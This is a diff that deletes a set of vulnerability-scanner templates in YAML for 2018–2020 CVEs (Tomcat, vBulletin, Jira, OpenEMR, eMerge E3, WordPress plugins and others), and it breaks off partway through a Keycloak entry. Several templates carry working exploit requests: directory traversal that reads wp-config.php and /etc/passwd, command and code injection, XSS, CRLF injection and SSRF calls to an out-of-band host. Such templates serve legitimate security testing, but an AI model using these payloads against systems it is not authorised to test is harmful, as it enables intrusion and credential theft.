-    cvss-score: 5.3
-    cve-id: CVE-2018-11409
-    cwe-id: CWE-200
-  tags: edb,cve,cve2018,splunk
-
-requests:
-  - method: GET
-    path:
-      - '{{BaseURL}}/en-US/splunkd/__raw/services/server/info/server-info?output_mode=json'
-      - '{{BaseURL}}/__raw/services/server/info/server-info?output_mode=json'
-    matchers-condition: and
-    matchers:
-      - type: status
-        status:
-          - 200
-      - type: word
-        words:
-          - licenseKeys

cves/2018/CVE-2018-11784.yaml

@@ -1,32 +0,0 @@
-id: CVE-2018-11784
-
-info:
-  name: Apache Tomcat - Open Redirect
-  author: geeknik
-  severity: medium
-  description: Apache Tomcat versions prior to 9.0.12, 8.5.34, and 7.0.91 are prone to an open-redirection vulnerability because it fails to properly sanitize user-supplied input.
-  reference:
-    - https://lists.apache.org/thread.html/23134c9b5a23892a205dc140cdd8c9c0add233600f76b313dda6bd75@%3Cannounce.tomcat.apache.org%3E
-    - https://nvd.nist.gov/vuln/detail/CVE-2018-11784
-    - http://web.archive.org/web/20210509082244/https://www.securityfocus.com/bid/105524
-  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
-    cvss-score: 4.3
-    cve-id: CVE-2018-11784
-    cwe-id: CWE-601
-  metadata:
-    shodan-query: title:"Apache Tomcat"
-  tags: tomcat,redirect,cve,cve2018,apache
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}//interact.sh"
-
-    matchers:
-      - type: regex
-        regex:
-          - "(?m)^(L|l)ocation: (((http|https):)?//(www.)?)?interact.sh"
-        part: header
-
-# Enhanced by mp on 2022/04/26

cves/2018/CVE-2018-16668.yaml

@@ -1,35 +0,0 @@
-id: CVE-2018-16668
-
-info:
-  name: CirCarLife SCADA Installation Paths
-  author: geeknik
-  severity: medium
-  description: System software installation path disclosure due to lack of authentication
-  reference:
-    - https://www.exploit-db.com/exploits/45384
-    - https://github.com/SadFud/Exploits/tree/master/Real%20World/Suites/cir-pwn-life
-    - https://www.exploit-db.com/exploits/45384/
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
-    cvss-score: 5.3
-    cve-id: CVE-2018-16668
-    cwe-id: CWE-287
-  tags: cve,cve2018,circarlife,scada,iot,disclosure,edb
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/html/repository"
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: header
-        words:
-          - "CirCarLife Scada"
-      - type: word
-        part: body
-        words:
-          - "** Platform sources **"
-          - "** Application sources **"
-        condition: and

cves/2018/CVE-2018-16670.yaml

@@ -1,35 +0,0 @@
-id: CVE-2018-16670
-
-info:
-  name: CirCarLife SCADA PLC Status
-  author: geeknik
-  severity: medium
-  description: PLC status disclosure due to lack of authentication
-  reference:
-    - https://www.exploit-db.com/exploits/45384
-    - https://github.com/SadFud/Exploits/tree/master/Real%20World/Suites/cir-pwn-life
-    - https://www.exploit-db.com/exploits/45384/
-  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
-    cvss-score: 5.3
-    cve-id: CVE-2018-16670
-    cwe-id: CWE-287
-  tags: scada,plc,iot,disclosure,edb,cve,cve2018,circarlife
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/services/user/values.xml?var=STATUS"
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: header
-        words:
-          - "CirCarLife Scada"
-      - type: word
-        part: body
-        words:
-          - "<values><variable><id>"
-          - "Reader.STATUS"
-        condition: and

cves/2018/CVE-2018-16671.yaml

@@ -1,37 +0,0 @@
-id: CVE-2018-16671
-
-info:
-  name: CirCarLife SCADA Device ID
-  author: geeknik
-  severity: medium
-  description: System software information disclosure due to lack of authentication
-  reference:
-    - https://www.exploit-db.com/exploits/45384
-    - https://github.com/SadFud/Exploits/tree/master/Real%20World/Suites/cir-pwn-life
-    - https://www.exploit-db.com/exploits/45384/
-  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
-    cvss-score: 5.3
-    cve-id: CVE-2018-16671
-    cwe-id: CWE-200
-  tags: iot,disclosure,edb,cve,cve2018,circarlife,scada
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/html/device-id"
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: header
-        words:
-          - "CirCarLife Scada"
-      - type: word
-        part: body
-        words:
-          - "circontrol"
-      - type: regex
-        part: body
-        regex:
-          - "(19|20)\\d\\d[- /.](0[1-9]|1[012])[- /.](0[1-9]|[12][0-9]|3[01])"

cves/2018/CVE-2018-20463.yaml

@@ -1,44 +0,0 @@
-id: CVE-2018-20463
-
-info:
-  name: JSmol2WP <= 1.07 - Directory Traversal
-  author: vinit989
-  severity: high
-  description: |
-    An issue was discovered in the JSmol2WP plugin 1.07 for WordPress. There is an arbitrary file read vulnerability via ../ directory traversal in query=php://filter/resource= in the jsmol.php query string. This can also be used for SSRF.
-  reference:
-    - https://wpscan.com/vulnerability/9197
-    - https://wordpress.org/plugins/jsmol2wp/
-    - https://nvd.nist.gov/vuln/detail/CVE-2018-20463
-    - https://www.cbiu.cc/2018/12/WordPress%E6%8F%92%E4%BB%B6jsmol2wp%E6%BC%8F%E6%B4%9E/#%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96-amp-SSRF
-  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
-    cvss-score: 7.5
-    cve-id: CVE-2018-20463
-    cwe-id: CWE-22
-  metadata:
-    verified: "true"
-  tags: wp,wp-plugin,wordpress,jsmol2wp,wpscan,cve,cve2018,traversal
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php"
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: body
-        words:
-          - "'DB_USER',"
-          - "'DB_PASSWORD'"
-        condition: and
-
-      - type: word
-        part: header
-        words:
-          - text/plain
-
-      - type: status
-        status:
-          - 200

cves/2018/CVE-2018-3167.yaml

@@ -1,33 +0,0 @@
-id: CVE-2018-3167
-
-info:
-  name: Unauthenticated Blind SSRF in Oracle EBS
-  author: geeknik
-  severity: medium
-  description: https://medium.com/@x41x41x41/unauthenticated-ssrf-in-oracle-ebs-765bd789a145
-  reference:
-    - http://www.oracle.com/technetwork/security-advisory/cpuoct2018-4428296.html
-    - http://web.archive.org/web/20211206102649/https://securitytracker.com/id/1041897
-    - http://web.archive.org/web/20210516175216/https://www.securityfocus.com/bid/105627
-  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
-    cvss-score: 5.3
-    cve-id: CVE-2018-3167
-  tags: cve,cve2018,oracle,ebs,ssrf,blind
-
-requests:
-  - method: POST
-    path:
-      - '{{BaseURL}}/OA_HTML/lcmServiceController.jsp'
-
-    body: <!DOCTYPE root PUBLIC "-//B/A/EN" "http://interact.sh">
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        words:
-          - 'Unexpected text in DTD'
-        part: body
-      - type: status
-        status:
-          - 200

cves/2018/CVE-2018-8719.yaml

@@ -1,36 +0,0 @@
-id: CVE-2018-8719
-
-info:
-  name: WordPress Plugin WP Security Audit Log 3.1.1 - Information Disclosure
-  author: LogicalHunter
-  severity: medium
-  description: Access to wp-content/uploads/wp-security-audit-log/* files is not restricted. For example, these files are indexed by Google and allows for attackers to possibly find sensitive information
-  reference:
-    - https://www.exploit-db.com/exploits/44371
-    - https://vuldb.com/?id.115817
-    - https://www.exploit-db.com/exploits/44371/
-    - https://nvd.nist.gov/vuln/detail/CVE-2018-8719
-  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
-    cvss-score: 5.3
-    cve-id: CVE-2018-8719
-    cwe-id: CWE-532
-  tags: cve2018,exposure,edb,wordpress,wp-plugin,cve
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/wp-content/uploads/wp-security-audit-log/failed-logins/"
-
-    matchers-condition: and
-    matchers:
-      - type: status
-        status:
-          - 200
-
-      - type: word
-        words:
-          - "[TXT]"
-          - ".log"
-          - "Index of"
-        condition: and

cves/2018/CVE-2018-8770.yaml

@@ -1,34 +0,0 @@
-id: CVE-2018-8770
-
-info:
-  name: Cobub Razor 0.8.0 Physical path Leakage Vulnerability
-  author: princechaddha
-  severity: medium
-  description: Physical path Leakage exists in Western Bridge Cobub Razor 0.8.0 via generate.php, controllers/getConfigTest.php, controllers/getUpdateTest.php, controllers/postclientdataTest.php, controllers/posterrorTest.php, controllers/posteventTest.php, controllers/posttagTest.php, controllers/postusinglogTest.php, fixtures/Controller_fixt.php, fixtures/Controller_fixt2.php, fixtures/view_fixt2.php, libs/ipTest.php, or models/commonDbfix.php in tests/.
-  reference:
-    - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-8770
-    - https://www.exploit-db.com/exploits/44495/
-    - https://github.com/Kyhvedn/CVE_Description/blob/master/Cobub_Razor_0.8.0_more_physical_path_leakage.md
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
-    cvss-score: 5.3
-    cve-id: CVE-2018-8770
-    cwe-id: CWE-200
-  tags: cve,cve2018,cobub,razor,exposure,edb
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/tests/generate.php"
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        words:
-          - "Fatal error: Class 'PHPUnit_Framework_TestCase' not found in "
-          - "/application/third_party/CIUnit/libraries/CIUnitTestCase.php on line"
-        condition: and
-        part: header
-      - type: status
-        status:
-          - 200

cves/2019/CVE-2019-10405.yaml

@@ -1,57 +0,0 @@
-id: CVE-2019-10405
-
-info:
-  name: Diagnostic page exposed Cookie HTTP header
-  author: c-sh0
-  severity: medium
-  description: Jenkins 2.196 and earlier, LTS 2.176.3 and earlier printed the value of the Cookie on the /whoAmI/ URL
-  reference:
-    - https://nvd.nist.gov/vuln/detail/CVE-2019-10405
-    - https://jenkins.io/security/advisory/2019-09-25/#SECURITY-1505
-    - http://www.openwall.com/lists/oss-security/2019/09/25/3
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
-    cvss-score: 5.4
-    cve-id: CVE-2019-10405
-    cwe-id: CWE-79
-  metadata:
-    shodan-query: http.favicon.hash:81586312
-  tags: cve,cve2019,jenkins
-
-requests:
-  - raw:
-      - |
-        GET {{BaseURL}}/whoAmI/ HTTP/1.1
-        Host: {{Hostname}}
-
-      - |
-        GET {{BaseURL}}/whoAmI/ HTTP/1.1
-        Host: {{Hostname}}
-
-    cookie-reuse: true
-    req-condition: true
-    matchers-condition: and
-    matchers:
-      - type: status
-        status:
-          - 200
-
-      - type: word
-        part: header
-        words:
-          - 'text/html'
-          - 'x-jenkins'
-        condition: and
-        case-insensitive: true
-
-      - type: word
-        part: body_2
-        words:
-          - 'Cookie'
-          - 'JSESSIONID'
-        condition: and
-
-    extractors:
-      - type: kval
-        kval:
-          - x_jenkins

cves/2019/CVE-2019-12616.yaml

@@ -1,52 +0,0 @@
-id: CVE-2019-12616
-
-info:
-  name: phpMyAdmin < 4.9.0 - CSRF
-  author: Mohammedsaneem,philippedelteil,daffainfo
-  severity: medium
-  description: A vulnerability was found that allows an attacker to trigger a CSRF attack against a phpMyAdmin user. The attacker can trick the user, for instance through a broken <img> tag pointing at the victim's phpMyAdmin database, and the attacker can potentially deliver a payload (such as a specific INSERT or DELETE statement) through the victim.
-  reference:
-    - https://www.phpmyadmin.net/security/PMASA-2019-4/
-    - https://www.exploit-db.com/exploits/46982
-    - https://nvd.nist.gov/vuln/detail/CVE-2019-12616
-  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
-    cvss-score: 6.5
-    cve-id: CVE-2019-12616
-    cwe-id: CWE-352
-  tags: csrf,edb,cve,cve2019,phpmyadmin
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/phpmyadmin/"
-
-    matchers-condition: and
-    matchers:
-      - type: status
-        status:
-          - 200
-          - 401  # password protected
-
-      - type: word
-        words:
-          - "phpmyadmin.net"
-          - "phpMyAdmin"
-        condition: or
-
-      - type: dsl
-        dsl:
-          - compare_versions(version, '< 4.9.0')
-
-    extractors:
-      - type: regex
-        name: version
-        internal: true
-        group: 1
-        regex:
-          - '\?v=([0-9.]+)'
-
-      - type: regex
-        group: 1
-        regex:
-          - '\?v=([0-9.]+)'

cves/2019/CVE-2019-14530.yaml

@@ -1,52 +0,0 @@
-id: CVE-2019-14530
-
-info:
-  name: OpenEMR < 5.0.2 - Path Traversal
-  author: TenBird
-  severity: high
-  description: |
-    An issue was discovered in custom/ajax_download.php in OpenEMR before 5.0.2 via the fileName parameter. An attacker can download any file (that is readable by the user www-data) from server storage. If the requested file is writable for the www-data user and the directory /var/www/openemr/sites/default/documents/cqm_qrda/ exists, it will be deleted from server.
-  reference:
-    - https://www.exploit-db.com/exploits/50037
-    - https://github.com/openemr/openemr/archive/refs/tags/v5_0_1_7.zip
-    - https://nvd.nist.gov/vuln/detail/CVE-2019-14530
-    - https://github.com/openemr/openemr/pull/2592
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 8.8
-    cve-id: CVE-2019-14530
-    cwe-id: CWE-22
-  metadata:
-    verified: "true"
-  tags: lfi,authenticated,edb,cve,cve2019,openemr
-
-requests:
-  - raw:
-      - |
-        POST /interface/main/main_screen.php?auth=login&site=default HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/x-www-form-urlencoded
-
-        new_login_session_management=1&authProvider=Default&authUser={{username}}&clearPass={{password}}&languageChoice=1
-
-      - |
-        GET /custom/ajax_download.php?fileName=../../../../../../../../../etc/passwd HTTP/1.1
-        Host: {{Hostname}}
-
-    host-redirects: true
-    max-redirects: 2
-    cookie-reuse: true
-    matchers-condition: and
-    matchers:
-      - type: regex
-        regex:
-          - "root:[x*]:0:0"
-
-      - type: word
-        part: header
-        words:
-          - filename=passwd
-
-      - type: status
-        status:
-          - 200

cves/2019/CVE-2019-15501.yaml

@@ -1,40 +0,0 @@
-id: CVE-2019-15501
-
-info:
-  name: L-Soft LISTSERV <16.5-2018a - Cross-Site Scripting
-  author: LogicalHunter
-  severity: medium
-  description: L-Soft LISTSERV before 16.5-2018a contains a reflected cross-site scripting vulnerability via the /scripts/wa.exe OK parameter.
-  reference:
-    - https://www.exploit-db.com/exploits/47302
-    - http://www.lsoft.com/manuals/16.5/LISTSERV16.5-2018a_WhatsNew.pdf
-    - https://nvd.nist.gov/vuln/detail/CVE-2019-15501
-  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
-    cvss-score: 6.1
-    cve-id: CVE-2019-15501
-    cwe-id: CWE-79
-  tags: cve,cve2019,xss,listserv,edb
-
-requests:
-  - method: GET
-    path:
-      - '{{BaseURL}}/scripts/wa.exe?OK=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        words:
-          - '</script><script>alert(document.domain)</script>'
-        part: body
-
-      - type: word
-        part: header
-        words:
-          - text/html
-
-      - type: status
-        status:
-          - 200
-
-# Enhanced by mp on 2022/08/31

cves/2019/CVE-2019-16759.yaml

@@ -1,41 +0,0 @@
-id: CVE-2019-16759
-
-info:
-  name: vBulletin v5.0.0-v5.5.4 - Remote Command Execution
-  author: madrobot
-  severity: critical
-  description: vBulletin 5.x through 5.5.4 allows remote command execution via the widgetConfig[code] parameter in an ajax/render/widget_php routestring request.
-  reference:
-    - https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/vbulletin-remote-code-execution-cve-2020-7373/
-    - https://nvd.nist.gov/vuln/detail/CVE-2019-16759
-    - https://seclists.org/fulldisclosure/2019/Sep/31
-    - https://www.theregister.co.uk/2019/09/24/vbulletin_vbug_zeroday/
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 9.8
-    cve-id: CVE-2019-16759
-    cwe-id: CWE-94
-  metadata:
-    shodan-query: http.component:"vBulletin"
-    verified: "true"
-  tags: cve,cve2019,rce,kev,seclists,vbulletin
-
-requests:
-  - raw:
-      - |
-        POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/x-www-form-urlencoded
-
-        subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo%20md5%28%22CVE-2019-16759%22%29%3B
-
-    matchers-condition: and
-    matchers:
-
-      - type: word
-        words:
-          - "addcc9f9f2f40e2e6aca3079b73d9d17"
-
-      - type: status
-        status:
-          - 200

cves/2019/CVE-2019-17503.yaml

@@ -1,37 +0,0 @@
-id: CVE-2019-17503
-
-info:
-  name: Kirona Dynamic Resource Scheduling - information disclosure
-  author: LogicalHunter
-  severity: medium
-  description: An unauthenticated user can access /osm/REGISTER.cmd (aka /osm_tiles/REGISTER.cmd) directly _ it contains sensitive information about the database through the SQL queries within this batch file
-  reference:
-    - https://www.exploit-db.com/exploits/47498
-    - https://nvd.nist.gov/vuln/detail/CVE-2019-17503
-    - https://github.com/Ramikan/Vulnerabilities/blob/master/Kirona-DRS%205.5.3.5%20Multiple%20Vulnerabilities
-    - http://packetstormsecurity.com/files/154838/Kirona-DRS-5.5.3.5-Information-Disclosure.html
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
-    cvss-score: 5.3
-    cve-id: CVE-2019-17503
-    cwe-id: CWE-425
-  tags: cve,cve2019,exposure,edb,packetstorm
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/osm/REGISTER.cmd"
-      - "{{BaseURL}}/osm_tiles/REGISTER.cmd"
-
-    matchers-condition: and
-    matchers:
-      - type: status
-        status:
-          - 200
-
-      - type: word
-        part: body
-        words:
-          - "DEBUGMAPSCRIPT=TRUE"
-          - "@echo off"
-        condition: and

cves/2019/CVE-2019-18394.yaml

@@ -1,30 +0,0 @@
-id: CVE-2019-18394
-
-info:
-  name: Ignite Realtime Openfire <=4.4.2 - Server-Side Request Forgery
-  author: pdteam
-  severity: critical
-  description: Ignite Realtime Openfire through version 4.4.2 allows attackers to send arbitrary HTTP GET requests in FaviconServlet.java, resulting in server-side request forgery.
-  reference:
-    - https://swarm.ptsecurity.com/openfire-admin-console/
-    - https://github.com/igniterealtime/Openfire/pull/1497
-    - https://nvd.nist.gov/vuln/detail/CVE-2019-18394
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 9.8
-    cve-id: CVE-2019-18394
-    cwe-id: CWE-918
-  tags: cve,cve2019,ssrf,openfire,oast
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/getFavicon?host=http://{{interactsh-url}}"
-
-    matchers:
-      - type: word
-        part: interactsh_protocol  # Confirms the HTTP Interaction
-        words:
-          - "http"
-
-# Enhanced by mp on 2022/05/03

cves/2019/CVE-2019-19985.yaml

@@ -1,43 +0,0 @@
-id: CVE-2019-19985
-
-info:
-  name: WordPress Email Subscribers & Newsletters <4.2.2 - Arbitrary File Retrieval
-  author: KBA@SOGETI_ESEC,madrobot,dwisiswant0
-  severity: medium
-  description: The WordPress plugin Email Subscribers & Newsletters before 4.2.3 contains a flaw that allows unauthenticated file download and user information disclosure.
-  reference:
-    - https://www.exploit-db.com/exploits/48698
-    - https://wpvulndb.com/vulnerabilities/9946
-    - https://www.wordfence.com/blog/2019/11/multiple-vulnerabilities-patched-in-email-subscribers-newsletters-plugin/
-    - http://packetstormsecurity.com/files/158563/WordPress-Email-Subscribers-And-Newsletters-4.2.2-File-Disclosure.html
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
-    cvss-score: 5.3
-    cve-id: CVE-2019-19985
-    cwe-id: CWE-862
-  tags: cve2019,wordpress,wp-plugin,edb,packetstorm,cve
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/wp-admin/admin.php?page=download_report&report=users&status=all"
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        words:
-          - Name
-          - Email
-          - Status
-          - Created On
-        condition: and
-        part: body
-
-      - type: word
-        words:
-          - "Content-Disposition: attachment; filename=all-contacts.csv;"
-        part: header
-
-      - type: status
-        status:
-          - 200

cves/2019/CVE-2019-20933.yaml

@@ -1,39 +0,0 @@
-id: CVE-2019-20933
-
-info:
-  name: Authentication Bypass InfluxDB
-  author: pussycat0x,c-sh0
-  severity: critical
-  description: InfluxDB before 1.7.6 has an authentication bypass vulnerability in the authenticate function in services/httpd/handler.go because a JWT token may have an empty SharedSecret (aka shared secret).
-  reference:
-    - https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933
-    - https://nvd.nist.gov/vuln/detail/CVE-2019-20933
-    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-20933
-    - https://github.com/influxdata/influxdb/compare/v1.7.5...v1.7.6
-  remediation: Update Influxdb to version 1.6.7~rc0-1 or higher.
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 9.8
-    cve-id: CVE-2019-20933
-    cwe-id: CWE-287
-  metadata:
-    shodan-dork: InfluxDB
-    verified: "true"
-  tags: unauth,db,influxdb,misconfig
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/query?db=db&q=SHOW%20DATABASES"
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: body
-        words:
-          - '"results":'
-          - '"name":"databases"'
-        condition: and
-
-      - type: status
-        status:
-          - 200

cves/2019/CVE-2019-3401.yaml

@@ -1,36 +0,0 @@
-id: CVE-2019-3401
-
-info:
-  name: Atlassian JIRA Information Exposure (CVE-2019-3401)
-  author: TechbrunchFR,milo2012
-  severity: medium
-  description: The ManageFilters.jspa resource in Jira before version 7.13.3 and from version 8.0.0 before version 8.1.1 allows remote attackers to enumerate usernames via an incorrect authorisation check.
-  reference:
-    - https://jira.atlassian.com/browse/JRASERVER-69244
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
-    cvss-score: 5.3
-    cve-id: CVE-2019-3401
-    cwe-id: CWE-863
-  metadata:
-    shodan-query: http.component:"Atlassian Jira"
-  tags: cve,cve2019,jira,atlassian,exposure
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/secure/ManageFilters.jspa?filter=popular&filterView=popular"
-    matchers:
-      - type: word
-        words:
-          - '<span data-filter-field="owner-full-name">'
-          - '<title>Manage Filters - Jira</title>'
-        condition: and
-
-# Remediation:
-# Ensure that this permission is restricted to specific groups that require it.
-# You can restrict it in Administration > System > Global Permissions.
-# Turning the feature off will not affect existing filters and dashboards.
-# If you change this setting, you will still need to update the existing filters and dashboards if they have already been
-# shared publicly.
-# Since Jira 7.2.10, a dark feature to disable site-wide anonymous access was introduced.

cves/2019/CVE-2019-3403.yaml

@@ -1,42 +0,0 @@
-id: CVE-2019-3403
-
-info:
-  name: User enumeration via an incorrect authorisation check
-  author: Ganofins
-  severity: medium
-  description: The /rest/api/2/user/picker rest resource in Jira before version 7.13.3, from version 8.0.0 before version 8.0.4, and from version 8.1.0 before version 8.1.1 allows remote attackers to enumerate usernames
-    via an incorrect authorisation check.
-  reference:
-    - https://jira.atlassian.com/browse/JRASERVER-69242
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
-    cvss-score: 5.3
-    cve-id: CVE-2019-3403
-    cwe-id: CWE-863
-  metadata:
-    shodan-query: http.component:"Atlassian Jira"
-  tags: cve,cve2019,atlassian,jira,enumeration
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/rest/api/2/user/picker?query="
-
-    matchers-condition: and
-    matchers:
-
-      - type: word
-        words:
-          - '"users":'
-          - '"total":'
-          - '"header":'
-        condition: and
-
-      - type: word
-        part: header
-        words:
-          - 'application/json'
-
-      - type: status
-        status:
-          - 200

cves/2019/CVE-2019-6802.yaml

@@ -1,32 +0,0 @@
-id: CVE-2019-6802
-
-info:
-  name: Pypiserver 1.2.5 - CRLF Injection
-  author: 0x_Akoko
-  severity: medium
-  description: |
-    CRLF Injection in pypiserver 1.2.5 and below allows attackers to set arbitrary HTTP headers and possibly conduct XSS attacks via a %0d%0a in a URI
-  reference:
-    - https://vuldb.com/?id.130257
-    - https://nvd.nist.gov/vuln/detail/CVE-2019-6802
-    - https://github.com/pypiserver/pypiserver/issues/237
-  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
-    cvss-score: 6.1
-    cve-id: CVE-2019-6802
-    cwe-id: CWE-79,CWE-74
-  metadata:
-    shodan-query: html:"pypiserver"
-    verified: "true"
-  tags: cve,cve2019,crlf,generic,pypiserver
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/%0d%0aSet-Cookie:crlfinjection=1;"
-
-    matchers:
-      - type: word
-        part: header
-        words:
-          - 'Set-Cookie: crlfinjection=1;'

cves/2019/CVE-2019-7256.yaml

@@ -1,40 +0,0 @@
-id: CVE-2019-7256
-
-info:
-  name: eMerge E3 1.00-06 - Remote Code Execution
-  author: pikpikcu
-  severity: critical
-  description: Linear eMerge E3-Series devices are susceptible to remote code execution vulnerabilities.
-  reference:
-    - https://www.exploit-db.com/exploits/47619
-    - http://linear-solutions.com/nsc_family/e3-series/
-    - https://nvd.nist.gov/vuln/detail/CVE-2019-7256
-    - https://applied-risk.com/labs/advisories
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
-    cvss-score: 10
-    cve-id: CVE-2019-7256
-    cwe-id: CWE-78
-  tags: cve,cve2019,emerge,rce,edb
-
-requests:
-  - raw:
-      - |
-        GET /card_scan.php?No=30&ReaderNo=%60cat%20/etc/passwd%20%3E%20nuclei.txt%60 HTTP/1.1
-        Host: {{Hostname}}
-
-      - |
-        GET /nuclei.txt HTTP/1.1
-        Host: {{Hostname}}
-
-    matchers-condition: and
-    matchers:
-      - type: status
-        status:
-          - 200
-
-      - type: regex
-        regex:
-          - "root:.*:0:0:"
-
-# Enhanced by mp on 2022/05/03

cves/2019/CVE-2019-8449.yaml

@@ -1,33 +0,0 @@
-id: CVE-2019-8449
-
-info:
-  name: JIRA Unauthenticated Sensitive Information Disclosure
-  author: harshbothra_
-  severity: medium
-  description: The /rest/api/latest/groupuserpicker resource in Jira before version 8.4.0 allows remote attackers to enumerate usernames via an information disclosure vulnerability.
-  reference:
-    - https://www.doyler.net/security-not-included/more-jira-enumeration
-    - https://jira.atlassian.com/browse/JRASERVER-69796
-    - http://packetstormsecurity.com/files/156172/Jira-8.3.4-Information-Disclosure.html
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
-    cvss-score: 5.3
-    cve-id: CVE-2019-8449
-    cwe-id: CWE-306
-  metadata:
-    shodan-query: http.component:"Atlassian Jira"
-  tags: atlassian,jira,disclosure,packetstorm,cve,cve2019
-
-requests:
-  - method: GET
-    path:
-      - '{{BaseURL}}/rest/api/latest/groupuserpicker?query=1&maxResults=50000&showAvatar=true'
-    matchers-condition: and
-    matchers:
-      - type: status
-        status:
-          - 200
-      - type: word
-        words:
-          - '{"users":{"users":'
-        part: body

cves/2019/CVE-2019-8451.yaml

@@ -1,38 +0,0 @@
-id: CVE-2019-8451
-
-info:
-  name: JIRA SSRF in the /plugins/servlet/gadgets/makeRequest resource
-  author: TechbrunchFR
-  severity: medium
-  description: The /plugins/servlet/gadgets/makeRequest resource in Jira before version 8.4.0 allows remote attackers to access the content of internal network resources via a Server Side Request Forgery (SSRF) vulnerability
-    due to a logic bug in the JiraWhitelist class.
-  reference:
-    - https://www.tenable.com/blog/cve-2019-8451-proof-of-concept-available-for-server-side-request-forgery-ssrf-vulnerability-in
-    - https://jira.atlassian.com/browse/JRASERVER-69793
-    - https://hackerone.com/reports/713900
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
-    cvss-score: 6.5
-    cve-id: CVE-2019-8451
-    cwe-id: CWE-918
-  metadata:
-    shodan-query: http.component:"Atlassian Jira"
-  tags: atlassian,jira,ssrf,oast,tenable,hackerone,cve,cve2019
-
-requests:
-  - method: POST
-    path:
-      - '{{BaseURL}}/plugins/servlet/gadgets/makeRequest'
-
-    body: |
-      url=https://{{Host}}:443@{{interactsh-url}}
-
-    headers:
-      X-Atlassian-Token: no-check
-      Content-Type: application/x-www-form-urlencoded
-
-    matchers:
-      - type: word
-        part: interactsh_protocol
-        words:
-          - "http" # Confirms the HTTP Interaction

cves/2020/CVE-2020-10770.yaml

@@ -1,31 +0,0 @@
-id: CVE-2020-10770
-
-info:
-  name: Keycloak 12.0.1 - request_uri  Blind Server-Side Request Forgery (SSRF)
-  author: dhiyaneshDk
